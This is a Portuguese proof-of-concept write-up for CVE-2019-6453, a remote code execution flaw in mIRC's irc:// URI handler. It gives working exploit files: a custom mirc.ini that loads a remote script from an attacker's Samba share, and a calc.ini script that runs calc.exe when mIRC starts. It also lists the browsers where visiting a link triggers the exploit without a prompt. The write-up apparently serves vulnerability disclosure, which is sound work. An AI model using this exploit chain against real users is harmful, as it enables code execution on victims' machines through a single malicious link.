
Prova de conceito para CVE-2019-6453
Encontramos uma vulnerabilidade de Execução Remota de Código no mIRC através do manipulador de protocolo URI irc://. Como o mIRC não usa nenhum tipo de delimitador como -- para marcar o fim da lista de argumentos, um atacante pode passar argumentos para o mIRC através de um link irc:// e executar código arbitrário ao carregar um mirc.ini personalizado de um servidor de arquivos Samba controlado pelo atacante. Observe que ircs:// funciona da mesma forma.
A prova de cálculo requer três arquivos: mirc.ini, calc.ini e poc.html. Assumimos que um servidor de arquivos Samba está sendo executado no lado do atacante. Para fins de exemplo, os seguintes trechos de código assumem que ele está sendo executado no host 127.0.0.1 (ou seja, substitua 127.0.0.1 pelo endereço do seu próprio servidor nos arquivos a seguir para testar isso).
mirc.ini é um arquivo de configuração personalizado que deve estar localizado em C:\mirc-poc\mirc.ini no servidor de arquivos.
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini é um arquivo de script remoto que deve estar localizado em C:\mirc-poc\calc.ini no servidor de arquivos.
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
Apenas visitar poc.html deve funcionar, assumindo que o mIRC esteja configurado como manipulador padrão para o esquema URI irc:// e que o navegador não codifique o payload. Dependendo do navegador e da sua configuração, você ainda pode receber um prompt (não é o caso no Firefox).

Esta PoC funciona para mIRC <7.55.
Você pode acionar a PoC no Edge 42.17134 (última versão de pré-visualização) e no Firefox 64.0.2 (último lançamento). Não funciona no Chrome devido à forma como o Chrome lida com protocolos URI (a URI é codificada antes de ser passada para o aplicativo).